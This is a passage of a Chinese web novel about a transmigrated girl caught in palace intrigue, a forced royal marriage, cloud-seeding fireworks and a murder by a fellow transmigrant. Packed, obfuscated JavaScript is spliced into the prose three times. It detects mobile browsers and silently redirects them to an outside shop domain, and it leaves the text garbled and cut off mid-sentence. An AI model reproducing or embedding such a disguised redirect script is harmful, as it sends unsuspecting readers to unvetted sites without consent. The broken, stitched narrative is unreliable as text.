淑妃道:“总不过是那几件事。赢了就娶,输了也娶。那小家伙长一张祸国殃民的脸,真以为能靠装疯卖傻逃得过不成?” 侍女道:“那娘娘......” 淑妃冷笑道:“关我屁事。我儿子是废物。我死人一个能干什么,就端看她怎么死!” 第二天,宫中来人,请礼诗涵去锦绣宫一叙。 硝石和绿巩可以轻易做出火棉,但礼诗涵陷入了另一个瓶颈——在这种没有通风设备的木制结构里合成强酸,有毒死自己或者其他人的风险。 她沉浸在自己的思考中,把宫里的消息抛在脑后。 翌日,宫里又来人,称礼诗涵如果不想死,就赶快去锦绣宫一叙。 那侍女恭恭敬敬地一点头,道:“这是我们家娘娘的原话,她冷笑着交代我务必传达。” 礼诗涵:“...........” 话说到这份上,就是有急事了。 礼诗涵对这个妃子观感不太好,因为她让上官梨死了。但也不太坏,因为她为人母,礼诗涵有妈妈和干妈,知道她们总是不容易。 她乖乖坐上淑妃的马车。她不爱坐马车,太逼仄,而且一点也不炫酷。 但今天不一样,礼诗涵掀开布帘,街道上张灯结彩,人们议论纷纷,热闹非常。 瞧见别人开心,礼诗涵也高兴地探出半个身子,道:“大家好啊,你们聊什么呢?" 贴身侍女捂脸无声尖叫。 好事的人只听见女子清亮的声音,没瞧见人影,也大声道:“当朝太子和上官小姐的婚事啊!多难得的忘年恋!据说上官小姐见了太子一面,当即被折服,硬要嫁给他呢!” 上官小姐礼诗涵:“?” “呵。”淑妃靠在榻上,凉凉道,“你以为你特立独行,就不会有人敢打你的主意了?我告诉你。” 她两根手指掐住礼诗涵的脸颊肉用力拉扯,礼诗涵吃痛,黑白分明的眼珠如水洗,鸦羽般的睫毛在脸上打下深深的阴影。淑妃凝视两秒,嘲笑道:“做梦!” 礼诗涵揉着脸颊:“娘娘叫我来,是想帮我吗?” 淑妃冷哼一声:“好大的脸。” “娘娘先欠我的!”礼诗涵认真道。 淑妃无语。她道:“我是有办法。” 她一指如木桩一样的十九皇子:“就是现在、立刻、马上,和我儿结亲!” 34. 第34章 上官梨(六) “我不要。” 礼诗涵一口回绝。 “他连下冰窟窿救我都不敢,怎么能做我的丈夫?” 十九皇子紧绷的肩膀忽地塌陷下去。 淑妃早料到了礼诗涵会这么说。她忽地一笑,道:“你知道太子有十八个妾室,对吧。以你的身份,你倒是可以给他做个正妻。但是他小儿子和你一样大,你知道吗?” “他可真不要脸。”礼诗涵评价。 “那你一定不知道二皇子,他有十六个妾室和一个正妻。”淑妃冷冷道,“没继续娶是因为他不敢僭越他大哥。” “三皇子有十五个......六皇子有十二个......十八皇子刚娶妻。你想给他们作妾室吗?” 礼诗涵头摇得像拨浪鼓,礼貌道:“我已经有心上人了,从小和我一起长大的。还是和知根知底的人结婚比较好。” 没听说过,就算有也是个上不得台面的小杂种。淑妃没当回事,笑道:“可是你注定要嫁给皇子啊。” “丞相的气焰已经太大了。”淑妃道,“若是再与其他大臣联姻,圣上就会觉得他屁股底下的椅子坐不稳当,你们上官家也就不会稳当。” “不管你做出什么,做不出什么,喜欢什么,又讨厌什么。”淑妃怜悯地瞧着一脸懵懂的礼诗涵,恨恨道,“你既然是上官家唯一的嫡女,你就得和皇家联姻!” “十九皇子是你最好的选择了!” 冬日的阳光分明如此纯净、耀眼,却带不来一丝温度,融化不了池塘中的坚冰,也暖不了深宫中两个女人的心。 这就难办了。礼诗涵沉吟片刻,直白道:“我不想结亲,不管是谁。我不属于这里,而且我是要为了做更重要的事情而生的。” “我儿一根指头都不碰你,也绝不会打搅你做任何事情。”淑妃忽地声音软化下去,她道,“我不骗你。我只想让我们母子能活下去而已。” 不同于其他嫔妃,淑妃的母家在邻国。 “大秉国?”礼诗涵重复。 “大秉国出过许多风流名士的琼华王氏。你总不能连琼华王氏也没听过吧?” 王淑妃有点心累,道:“在你还没出生的时候,大阜和大秉连年交战,民不聊生。大秉战败时送来许多女子联姻,我是其中之一。” “我没有人可以撑腰。”淑妃道,“你嫁给我儿,无论我儿是太子还是皇子,你也就只需面对我而已。” 淑妃给出的条件确实很诱人。 结亲了和没结亲一样,不耽误礼诗涵想要做的事情,还能一劳永逸地解决一切麻烦。 她十分心动,但更关心别的事情。 “那你想家吗?”礼诗涵很想家,当即问道,“十九皇子比我还大几岁。至少十五年没回去过,你不想家吗?” “.......不想。” 只有礼诗涵这种少女才会中这样的计。 卖惨成功。淑妃却没有丝毫得意,她神情浮上一丝疲惫,道:“那种地方比大阜更令我生厌。你如果有一日去了就知道。” “那里的冬天会整日整日地下雪,冷死了........” . 十九皇子结结巴巴地道:“这.......这样不好吧?有伤风化。” 淑妃提供的方法很简单,就是让礼诗涵和十九皇子游街示众......不对,是手牵手逛街。 如果不想皇子小姐三角恋的传说风靡民间,太子必然会放弃迎娶礼诗涵的想法。 礼诗涵没什么男女授受不亲的观念,长长的宫道上,在诸多路过的宫女和太监讶异的目光中,旁若无人地牵住了十九皇子的手。 十九皇子抖得像摸了电门。 礼诗涵手背上青筋暴起,在拔河中感受到了一丝熟悉感——她曾经帮邻居家阿姨溜过一只柴犬。 到底在怕什么? 而且这样走下去,若是到集市上天黑了,众人看不清二人的面容,岂不是白费时间? “不要耽搁了,跑起来!” “啊?啊?宫中禁止奔跑,上官小姐?不要啊!会被处罚的!” “还有比你我现在做的事情更大逆不道的?快点,再快点!” 穿过砖红色的宫道,越过厚厚的宫门。 冬日轻薄的阳光打在礼诗涵身上也格外耀眼,奔跑带起的气流吹起贴身侍女精心给她打理的刘海,露出少女光洁的额头。 在集市众人惊疑不定的目光下,礼诗涵高举两人交握的双手,另一手放在唇边:“诸位目光向我看齐——听我说一事——” 十九皇子无声尖叫着用另一只手捂住了脸。 “我是丞相之女上官梨。家中想让我这般的花季少女嫁给老头,但我与十九皇子已私定终身——谢谢大家的支持,谢谢!” 还有这种天大的热闹!人群一下子围上来,一张张面孔或年迈、或年轻,都热情洋溢,展露着最单纯的好奇。 “请一定将这件事传下去,谢谢!” 礼诗涵礼貌地和路过的每一个妇人握手,道:“大家的每一句话都在助力一个梦想!” 有小孩也趁机抓住十九皇子的衣角不放,十九皇子拼死扯住自己的衣角,像是被人咬了。 礼诗涵轻声凑在他耳边,小声道:“说点什么,什么都行。” 香风鬓影,但十九皇子快哭了,绞尽脑汁憋出一句道:“我.....我好歹也是个皇子啊!” 小孩瞪着两个圆溜溜的大眼睛,依然死死地抓着他。 礼诗涵摸摸小孩的头,道:“你现在摸了皇子,你长大也能入朝廷辅佐皇子。” 她的视线从小孩补丁摞补丁的衣服和大冬天光着的两个小脚丫上滑过,皱了皱眉,从袖中摸出块银两,快准狠地塞进小孩手里,小声道:“别被人发现了。” “好啦大家,我们要去别的地方了,谢谢支持,谢谢!” 礼诗涵直起腰来,人群自动给她让出一条路来。十九皇子所无法御使甚至恐惧的人群,她却十分自如,仿佛天生就受人簇拥。 十九皇子小心翼翼地觑着礼诗涵,两人交握的双手在中间摇晃。他手心微微出了些汗,指尖颤动几下,轻轻反握住了礼诗涵的手。 . 礼诗涵又被关禁闭了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774521|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >这次上官丞相学到了教训,让十几个家丁轮班值守礼诗涵的院门。 十九皇子的信一封接着一封从宫中送出来,言辞十分恳切。若是他做丈夫,可能无功,但也无过。 事情已经闹得这么大,是上官丞相再试图转圜,也无法改变的事实,只好草草定下婚期。 只有一个问题,礼诗涵不会刺绣,也不知道嫁衣需要自己绣。 院中试管咕噜咕噜作响,每个家丁都带着她用碳粉自制的口罩,礼诗涵正提取着这世界上最恐怖的酸液,没空管这些小事。 年后出嫁,礼诗涵一直困在院门内,没什么实感,对于利阳城中人心浮动一概不知。 天子的身体一天不如一天,太子把持朝政,但在那件事真正到来之前,什么都有可能发生。利阳城内的气氛已经越来越紧绷。 引爆这个大炸弹的又是礼诗涵。 腊月二十九,丞相小姐又出逃了。 和家丁斗智斗勇一个月,在换班的间隙,礼诗涵牵走了马厩里的马,带着大包小包,施施然跑了! . 淑妃险些扭断了手中的绣花针。 刺破的手指流出鲜血,染在未完成的盖头上。这已经不能再用,淑妃气愤地把布料揉成一团,掷在地上。 “娘娘.......”侍女不安地瞧着她,道,“她少年心性,被关了这么久,难免耐不住性子。” “留不住的。”淑妃想明白了,道,“只要她想,谁都留不住她。” 少女的瞳孔清澈,目光又高又远,从来没想过被困住中的一生—— 若是礼诗涵见到现在的淑妃,必然会吓一跳。她在儿子病危之时都没有过如此的憔悴,身上笼罩着绝望的死气。 淑妃神经质地捂住脸,喃喃道:“我已命不久矣,又彻底得罪太子。我儿.......怎么活呢?” 远处有什么东西如闷雷般炸响。又在天上炸开无数绚烂的光,接续不停。城中百姓发出的高呼声如海浪,一层又一层,隐隐传入宫门中。 宫女惊讶莫名,连连请淑妃娘娘去瞧瞧那花一样的闪电,但淑妃已经听不进去了,只觉得她们无比吵闹! 只有那三个字如一根银针刺入她的脑袋里,带来一丝清明—— “下雪了!” 贴身侍女再也顾不得什么,扯着她的袖子,如幼时那般惊讶道:“怀雪,快来看,下雪了啊!” 大秉湿润而多雨多雪,大燹整日风沙弥漫,酷热而少雨,大阜国力最盛,自然占据了一片气候最温和的肥沃之地。 没有洪水、没有风沙,也没有雪。 王淑妃——本名王怀雪,伸出常年不得见天日的苍白手臂,接住了一片久违的雪花。 远处最高的山峰上弥漫着滚滚烟尘,有箭一样的物体从地面咻地升起,在空中砰地炸响,把粉末状的物体送上天空,又留下璀璨的星点。 雪因此而落。 谁有这么大的本事? 只有不属于这里、正的发邪的少女。 王怀雪握住了那片雪花。小小的冰凉亲吻着皮肤,她知道这是为她而下的雪。 35. 第35章 上官梨(七) 礼诗涵点燃最后一根引线,潇洒地回头,张开双手,迎接无人为她鼓的掌声。 烟花在她背后升天、爆炸,把碘化银送至云层。水蒸气在这小小的粉末上聚集、凝固,最后成了这纷纷扬扬的大雪。 她回家暂且遥遥无期,但在中途完成另一个思乡之人的小小愿望,还是轻轻松松的。 “怎么会有人不想家呢?天才如我只要想一想就知道,嘴硬而已!”礼诗涵把马儿耳朵里的布料扯掉,开开心心道,“走吧小马。你是黑色的,我叫你黛兔吧?” . “咳咳,咳咳咳!” 宫女接下的布巾上染着触目惊心的血迹。殿中弥漫着药味、龙涎香的香味,还有行将就木的死亡的气息。 “很有意思,是不是?”老皇帝缓了许久,才坐起身来,揶揄道,“一个你弄不到手的女子,却有着操控天时的能力!现在百姓以为她是神女。神女啊!怎么能是藩王王妃,而不是皇后呢?” “老大,你谨慎小心了一辈子。怎么能在这种小事上栽了跟头?” 其中隐含的险恶令人心惊。 太子不敢细想,膝行到老皇帝榻边,道:“父王!十九弟懦弱,哪怕淑妃按例殉葬,上官丞相也是野心勃勃。若是......怕是大阜江山,是要改姓上官了!” 老皇帝失望地看着他:“来人,取朕纸笔来。” 在太子悚然的目光下,年迈昏聩的老皇帝写出了最后一张传召的圣旨—— 得神女者,可得皇位。 . 深宫中,王怀雪跪坐在地板上,凝视着面前的宣纸,毛笔似有千钧重。半晌,她吐出一口气,终于落下那几个字,字字泣血。 “王家家主敬启——” 殿外传来一阵骚乱,贴身侍女惊惶地闯入门中,道:“娘娘!” 一队全副武装的侍卫闯入锦绣宫,为首的太监递上一条白绫。王怀雪面上并无惊惶之色,艳丽的眉眼只剩下无比的坦然。 . 十九皇子坐在高高的骏马上,猛地转头望向宫墙的方向。婚期已至,他一身艳丽的喜服,正要去丞相府迎娶那最不可思议的小姐。 但不知为何,此刻他心跳错了一拍。 自从礼诗涵往天上炸了五十发的烟花,天际就阴沉沉的,时不时会飘落一些零星的雪花。 就比如现在。 礼诗涵伸手接了一片雪花,小声嘀咕:“......我不会造成大气污染了吧。” 丞相府张灯结彩,但上官丞相的脸色如丧考妣。 贴身侍女小声催促礼诗涵快些换上嫁衣,礼诗涵随手翻动了下衣服,奇道:“咦,这不是昨日我寻绣娘买来的成衣?” 如此细腻的针脚,一瞧便是用心做的。 “是淑妃娘娘送来的。”贴身侍女殷切地笑道,“看来您之后不必担心和婆母的关系了。” 礼诗涵皮肤雪白,五官侬艳,穿红的更显气势。贴身侍女给她眉心点上鲜红如血般的花钿,半晌,忍不住拥着她呜呜哭了起来。 但礼诗涵上了花轿,依然不觉得有什么实感。耳旁吹吹打打声挺喜庆,路旁的百姓脸上都挂着笑,礼诗涵就也挺高兴的。 反正不过是做戏而已。 不过,礼诗涵叹了口气,心道花轿真慢啊。 . 十九皇子觉得自己的关节下一秒就要发出木头般的咔哒声响。 那日街上的人物翻转,他和礼诗涵之间握着同一条红绸,不过是他在前,礼诗涵在后。 我我我我走得是不是太快了。 当时修王府的时候为什么要用这么多鹅卵石?绣鞋踏在上面,会不会很难受?为什么到卧房的路这么远? 当时要是直接把卧房修在大门口就好了! 十九皇子十分扼腕。 忽然感觉到手中的红绸传来一阵波动,好似是礼诗涵故意晃了晃。 他一下子僵住了,一动不敢动。 又感觉到手中红绸晃动。 他那常年被泥巴糊住一般的心窍忽地清明,意识到这是礼诗涵觉得无聊了—— 她总是风风火火,耐不住性子。 最好跑起来。 十九皇子做出了他十九年人生中最大胆的决定。 他如木偶般咔哒咔哒转过身来,连声失礼都没说,在满院侍卫侍女宾客诡异的目光中,打横把礼诗涵抱起,闷头狂奔而去。 风中只传来礼诗涵兴奋的笑声,她道:“对嘛,这样才有意思——” 十九皇子把礼诗涵轻轻放在榻上,面对她的盖头,想掀又不敢,手举起来,又放下,举起来,又放下,只闷闷道:“我需得出去招待宾客。” 礼诗涵觉得他很不爽快,一把自己掀了,嘟囔道:“我不能去吗?” 灯下看美人,更觉美艳更盛。红色是最适合礼诗涵的颜色,她下巴上的小痣散发着某种惊人的魅力,不自觉的吸引着旁人的目光。 十九皇子捂住脸,不敢瞧她,道:“不,不行。绝对不行!有许多人饮酒,怕是会在你面前失礼。” 在礼诗涵原本的十八年人生中,饮酒完全是她的盲区。她也只好放弃,转而又问:“淑妃娘娘怎么不来?” “娘是嫔妃,寻常不得出宫。”十九皇子道,“三日后我们去宫中给她请安。” 十九皇子同手同脚走到门前,忽地鼓起勇气,背对着她,小声絮絮道:“我知道这很强人所难,但你能不能叫我一声夫君?只叫一声就可以,之后的日子不叫也可以。我只想听听,毕竟我从没想过会有这样的一天。啊当然如果不叫也行的,我真的不强求。” “夫君。” 只是这种小愿望,礼诗涵不吝于满足。 她看着快要烧开的十九皇子,坏笑道:“给我带些餐食,记得不要辣椒。” . 十九皇子飘飘然离开了卧房,感觉脚下像踩了棉花,浑身充满了力量! 哪怕娘答应了她只是假夫妻,但能娶到礼诗涵这种绝世美人的感觉实在是常人难以想象的。 皇家子嗣丰盈,王府人满为患,但与他相熟的都是些同样傻乐的废物点心们。十九皇子因娶了礼诗涵终于有了能平视别人的自信,信心满满地去给那些平时俯视他的叔伯兄弟敬酒。 他们各自有势力,交谈不过嘴皮子微动,面上丝毫不动声色。 他们从没想到十九皇子这种夹着尾巴的小瘪三居然敢靠近,也不知道十九皇子这种闷葫芦因为太不敢看别人的眼睛,居然会读唇语—— “先帝驾崩三日,一直停而不发,不是个办法啊!” 十九皇子面上的傻笑僵住了。 眼看叔伯的目光就要落在他身上,十九皇子的脑子从来没有转的这么快过。 他燃尽了这辈子所有的才能,急中生智,一把揽住旁边路过的十八皇子,笑道:“哈哈,你怎么知道我夫人特别漂亮,还特别聪明?” 拿着鸡腿路过的十八皇子:“???” “你有病吧!” 被破防的十八皇子甩掉后,十九皇子溜溜达达地又回到了大人这桌,匍匐在院中的假山后,屏气凝神—— “谁让先帝莫名留下那道圣旨。这下上官梨不除不行了。太子怎么说?” “今夜子时动手。” “我猜就是。” 他心中一片冰凉。 二皇子瞥了一眼假山,又略略抬高声音道:“至于小十九,好歹也是兄弟,如果他不惹事就不管他。如果他非要惹事,就不得不把他一起送走了。” 为什么要杀上官梨? 为什么璀璨夺目的人一定要死呢? 而且,而且,上官梨是他的夫人啊。 虽然她并不觉得自己真是。 但是她愿意拉我这个懦弱无能的人的手,替我解围,明白我是懦夫,却不把我当做垃圾。 十九皇子心中天人交战,忽地下定决心,往卧房的方向奔去! 快些,再快些! 快逃走啊!你理应在更好的地方活着—— 这是十九皇子人生中最勇敢的时刻。 也是他短短十九年人生中的最后一秒。 咚。 人的□□砸向地面的声音,实在是微乎其微,没有惊动任何一个人。 十九皇子的瞳孔渐渐涣散,后脑上蜿蜒流下触目惊心的血迹。 这般懦夫,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不用太子说,贴身侍女恨不得立刻飞到礼诗涵身边。她一骨碌爬起来,又听得:“慢。” 太子点了身边的一个侍卫,年迈的小眼睛里散发出恶毒的光芒:“你随她一起去。务必要将上官梨全须全尾地带到我面前来。” “.......” 侍卫的高大的阴影笼罩了贴身侍女,她一言不发,捏紧了手指。 . 如果上官小姐落到那种人手上,还不如死了。 贴身侍女走得很慢。 “我好像在淑妃娘娘处见过你?” 贴身侍女惊惶地抬头。 这条狗脸上和他主人眼中流露出的是如出一辙的恶毒:“你是锦绣宫中的旧人吧?名叫容华的侍女,我见过你。若是要让你家主子知道你心不离旧主,她还会如此信任你吗?” “带路!别磨磨蹭蹭的!” “是......是。”容华慢慢地说,“我听您的话。您千万别告诉我家小姐。” 冬日的风很冷。但远不及大秉的冬天冷,那里的雪一层又一层。日头出来化了,第二天的雪又落得平整。 在这世道,忠诚明明是一种宝贵的品质。 容华冷眼看着侍卫在池塘中挣扎,侍卫大声骂着脏话,目眦欲裂,想要游出水面掐死这个不知天高地厚的侍女,迎面却撞上了一块阴影。 容华拼尽全力抱起了一块大石,狠狠砸下—— 鲜血在池塘上晕开。 容华知道,第二天池塘就会被一层薄冰再次覆盖,而侍卫的尸体直到开春才会被发现。 需得快些通知小姐! 容华小跑向宴席,那里欢声阵阵,宾客窃窃私语,她心太急,一个游魂一样的人影从角落里钻出来,她刹车不及,猛得撞倒对方。 “十九皇子?!” 十九皇子的状态十分不对,虽然人还是那个人,但身上莫名多了一些令人十分讨厌的特质。 那双原本清澈干净的眼睛现在乌沉沉的,像是被什么蒙蔽了双眼。他一手捂着额角,指缝中流出鲜血,面容扭曲而痛苦。 事态紧急,容不得容华细思。 她喜道:“太好了。姑爷,小姐有难了,快来帮把手!” 这常年畏畏缩缩、谁都能踢他一跟头的人,在容华的大力推搡下,居然没有一丝的动摇。 漆黑的瞳孔锁定了焦急的侍女,“十九皇子”慢慢道:“小姐......是谁?” 36. 第36章 上官梨(八) 高门贵女,侯家夫人,被无数规矩规训惯了,哪里见得过礼诗涵这般的女儿? 新娘子在宴中自然混成了人群的焦点。 甚至有个老夫人提前送了她一只金子做的长命锁,并一只振翅欲飞的凤凰金簪。 虽然礼诗涵觉得自己暂时用不到,但这并不妨碍她爱不释手,把老夫人哄成胚胎,恨她不是自己的儿媳。 礼诗涵喜欢热闹,喜欢别人夸她。夫人们都很捧场,如果不是一队兵甲忽地闯入女席,引得女眷们阵阵惊呼,礼诗涵真是恨不得在这里住下。 下次我结婚还来吃席。 礼诗涵心想。 “小姐。”领头之人面貌端庄持正,虽身着兵甲,却也难藏儒雅的气质。 他勒令士兵退至十步之外,不惊女眷,自己则垂目,对礼诗涵保持了最大程度的回避,拱手行礼道:“兹事体大。望上官小姐速与下官前来。” 女眷们交换着眼神,礼诗涵嗅到了一丝肃穆的气氛,拧眉道:“出什么事了?” 领军之人并不回答,保持着柔和但强硬的姿态,请礼诗涵前往一叙。 “君如!”老夫人叫出了儿子的名字,呵斥道,“上官小姐还小,受不住你们这些粗野之人的惊吓!” 令君如第一次仔仔细细地打量着这女子。 引起如此惨案的源头,在他想象中应该是个坏得掉渣的狐狸精。 礼诗涵五官精致到很像狐狸变的,但身量是少女特有的纤细,只来得及长腿,还没来得及长腰,是一株高挑的豆芽菜。 穿着象征成熟的血衣的懵懂少女。 令君如叹了口气,对上少女的眼睛,含蓄道:“十九皇子出事了。” . 十九皇子出事了。 但出事的不止十九皇子。 十九皇子把太子杀了,所以现在所有人都一起出大事了! 礼诗涵无法理解,怎么就出去吃个八宝饭的功夫事情就变成这样? 王府每个角落都缠上了红布,原本是象征喜庆的颜色,现在看来却是对祸事的预兆。 新人的卧房被层层围住,地上的血迹尤未干涸,大片的迸溅样的血迹在门口的墙面天花一样散开,一直延伸到卧房里面。 看起来太子是被人先用力扯住头发,用脑门和砖墙来了个亲密接触。又被人活活拖进了卧房中—— 从二到十八的每一位皇子都在。能来的大臣们都来了,几十双眼睛一齐盯着礼诗涵,脸上都带着一种莫名狂热的神情。 令君如感觉到有个轻微的力道抓住了他的披风。 这可怜的少女在发抖。 她眼睛一眨不眨地盯着那狰狞可怖的血迹,瞳孔中第一次流露出恐惧。 现代社会,礼诗涵从小养尊处优长大,碰到过最邪恶的事情就是刚上大学的时候碰到肇事逃逸,受害者血流了一地,她赶快报警打120,蹬着自行车猛蹿追出几十公里,成功逮住没油了的司机,正义感爆炸,一点不觉得累。 主角的磨难都是为了最后的奖励,血液被涂成绿色,情侣永远忠贞,在婚礼进行曲中互相宣誓,从此同生共死,死了也只是去下一个世界。 礼诗涵只在很小的时候才看过BadEnd,因为五丈原狠狠哭了一个月,差点把眼睛哭瞎,吓得爸妈把她所有的软件都调成了青少年模式。 她是被保护在象牙塔中的天才。 而真正的现实刚刚才向她展现出血雨腥风的一角—— “血。”礼诗涵露出一个哭也似的笑容,胃里莫名地翻腾起来,其实她无法理解为什么会怕,她自己身体里也有这么多血啊! 为什么看到同类的血流出来,为什么血属于她十分讨厌的人,她也不觉得快意,仍是会怕呢? 礼诗涵茫然地重复道:“好多血.......” “唉。”令君如叹了口气。 众目睽睽之下,男女大防,君臣有别,条条框框砸在上面,他只能扯下披风,遮住礼诗涵一身如血的喜服。 寄希望于这添上的些微的暖意,能稍稍唤回一些她的心神。 “你的意志,左右着这个王朝。”令君如很想摸摸这个女孩的头,但他忍住了,轻声道,“去吧。” 太子肥胖的尸首横陈在地,脑袋开花,狰狞而惨烈。礼诗涵不敢多看,只是轻轻用余光扫了一眼就猛然收回视线。 上官丞相和几位大臣争论不休,见到礼诗涵前来,猛然住了口,眼中迸发出算计的光。容华跪在地上瑟瑟发抖,头也不敢抬。 空气里弥漫着浓重的血腥味,礼诗涵的目光牢牢锁定了喜床上的那个人。 那是十九皇子吗? 从眉眼的弧度到格外柔软的发丝,每个地方都一模一样。 但礼诗涵的直觉告诉她,那不是。 十九皇子的背没从挺得这么直过,而眼睛也从来不敢这么一眨不眨地看着她。 就算望着礼诗涵,他也是敬畏而仰慕的。 眼前这个人的目光,虽然伪装得非常好,但礼诗涵从其中看出了没被遮掩住的一丝欣喜若狂。 “诗涵。”如果不看地上淋漓的血迹,王宇航的声音还是那么温柔。 “我就知道你不会就这么消失的。幸好,我找到你了。” 大臣猛得一搡十九皇子。 上官丞相殷切地扶起女儿,他从未像现在这样父爱满盈,眼中的狂热和殷勤让礼诗涵心惊肉跳: “圣上驾崩,留下圣旨。” “得神女者可得天下!这是天赐给我们上官家的机会啊!” “现在太子死,不管你选谁,天下终究会染上我们上官家的血脉。” “我这个当爹的,还是推荐你选十九皇子。不只因为他好拿捏,而且也是皇子中最年轻的。爹怎么能不为女儿着想呢?” 其他大臣七嘴八舌斥责道: “你个老货原本不疼爱女儿,现在知道宣扬你那父爱了?” “就是,你看看二皇子也是好人选,虽然年纪大了些,但年纪大了会疼人啊.......” “照你这个逻辑来从二到十九都行。不如看看七皇子........” 周遭的声音如隔了一层水幕般朦朦胧胧,不甚清晰。 礼诗涵哪怕很小心了,绣鞋仍然踩到了血迹。 因为血脚印早把洞房弄得乱七八糟。王宇航坐在房间的尽头,眼中和这些面目可憎的人们染上了一样的狂热,手上依然有未干的鲜血。 王宇航知道礼诗涵一定会选他的。 他们从小就在一起,他一眼就能认出礼诗涵,相信礼诗涵也一眼认出了他。 跨越了整整两个世界,好不容易才能相见,他们会是唯一能理解彼此的人! “.......为什么?”礼诗涵不能理解。 隔着争论不休的人群,礼诗涵把未尽的话语吞进腹中。 她想问,为什么你刚刚穿越过来,就能毫不迟疑地杀人呢? 当王宇航明白自己穿成皇子,而王妃竟是早先已死的青梅的时候,他到底在想什么? 崇尚人人平等的现代普通青年,在骤然发觉自己竟有了高人一等的权利,居然能如此果决地做出决定吗? 礼诗涵其实从来没有选择。 这具身体是“上官梨”。虽然芯子姓礼,但现在她流的血是上官的血。 无论她选哪个人都是一样的。 更何况她非无情无义之人,没办法因此而抛下竹马。 一同生活一十八载,难道一朝穿越,就会变成完全不同的另一个人吗? 上官丞相狂喜着离开王府。臣子们携家眷告辞,十九皇子登基在即,无数的阴谋诡计在暗中成型,他们有的是事情要忙。 令君如本应同母亲一同离开,不知是什么缘由,他又折回了那间卧房前。无数的血印从房内向着四面八方延伸而出,身着嫁衣的单薄少女僵立在血迹的尽头。 “十九皇子”轻轻地拥住了她,亲吻她的额角,眼中闪烁着狂喜。烛火昏黄,映得礼诗涵神色晦暗:35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779852|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > “爸爸妈妈和干爸干妈怎么样?” 并不好。掌上珠沉,中年丧女,悲伤如山呼海啸一般压垮了这两个家庭。 他爸妈愈发没日没夜地投入在研究中,希望有一天能找到她莫名死亡之谜。 而礼诗涵的父母看不得伤心地,搬了家,但没卖房子,定时回去洒扫,怕女儿回来找不到路。 “.......他们很想你。” “你也看到兔子洞了吗?” “什么?” “那你是怎么来的?” “......我想来找你。所以我......” 礼诗涵已死。还能有什么办法呢? 自/杀。 他们低低地交谈,令君如没能听清,只看得到少女面上的悲伤愈发浓重,那感情几乎把少女单薄的脊梁压垮。 他不由自主地上前几步,手指碰到窗棂,猛地缩回。少女在此时露出一个惨笑,催眠自己似的,喃喃道: “希望我没有做错。也希望我没有选错。” “十九皇子”的神色忽然扭曲了一瞬,猛地低头看向身上的喜服。 沉浸在自己情绪中的礼诗涵并没在意他的动作,而令君如瞧见他眼中翻滚的情绪,见之让人心惊肉跳。 只一瞬,他就又变回了那副温润如玉的模样,装作不经意道:“我忘了问了——这具身体原本和你的关系怎么样?” 当你看向我时,是期待看着谁? . 大阜史上最荒唐的皇帝诞生了。 因为被神女选中,才能一跃而起,获得这皇位。简直就像三流小说中才有的剧情! 十九皇子,不,现在该称皇帝了。 新皇登基之后,一扫之前的懦弱作风,倒也张弛有度,但终究文韬武略俱是不足。百姓更愿意谈神女,谈她闯县衙,号皇帝,献奇药,引天降大雪,袖手点选皇子。 礼诗涵莫名其妙地成了皇后。 她始终觉得心中沉重。 凤驾前往锦绣宫,宫中却空空如也。仅剩淑太妃的贴身侍女容轻在此洒扫,不见淑太妃人影。 礼诗涵感到心中一突。 她在仆从的惊呼中跳下凤辇,没管身后跪了一地的人,直接了当地问:“淑太妃呢?” 众人神色惊疑不定,容轻跪下来,道:“皇后娘娘不知。淑太妃她——” 容华在礼诗涵身后露出不忍的神色。 “她回家了。”容轻缓缓道。 “回家?”礼诗涵不太信。淑太妃是大阜从邻国赢来的战利品,会这么轻易放她走么? 但容轻不疾不徐,这份态度打消了礼诗涵的疑虑。她道:“先帝已然仙去,为何要白白将嫔妃囚困于深宫中呢?故而全部给些金银,遣散回原籍罢了。” “淑太妃实在思念故土,迫不及待动身,来不及告知皇后。但她留下书信一封,并托我谢谢您,她确实许久没见过那么大的雪花了。” 在众人惊诧的目光中。她口出大不敬之语,道:“‘如果你在大阜混不下去了,可以凭此信来琼华王氏找我讨饭吃’,太妃临走前务必叮嘱我要将原话带到,还望皇后娘娘赎罪。” 她双膝跪地,双手递上信封。 礼诗涵接过,刚想打开一观,容轻又一叩首,道:“皇后娘娘赎罪。太妃也叮嘱过,如若不到生死关头,不得打开。她也说她不想那么早养一个吃白饭的。” 这话可以由妃子对丞相小姐说,但若要太妃对皇后说,可就是大大的不敬。 礼诗涵却很轻很浅地笑了,这种不屑正是淑妃的风格。她把信收在袖中,莫名觉得心中宽慰许多。 凤驾重回了坤宁宫。 容轻呆呆地立在殿中。半晌,容华从宫道另一头跑过来,死死抱住了她并无血缘的姐妹。 “别哭,容华,皇后会看出来的。”容轻拍拍无声恸哭的容华,平静地道,“太妃不希望她知道。” 在冰冷的陵墓中沉寂的雪花,是否有一瞬间羡慕春日璀璨的梨花呢? 37. 第37章 上官皇后(一) 正月十五,新皇登基的第七天,改年号为新元。今夜月明星稀,利阳的百姓皆尽沉浸在黑沉的睡梦之中。 有许多人再也没能醒来。 容华和容轻一左一右死死地抱住礼诗涵,三个女人挤挤挨挨靠在坤宁宫中的一颗桂花树下。 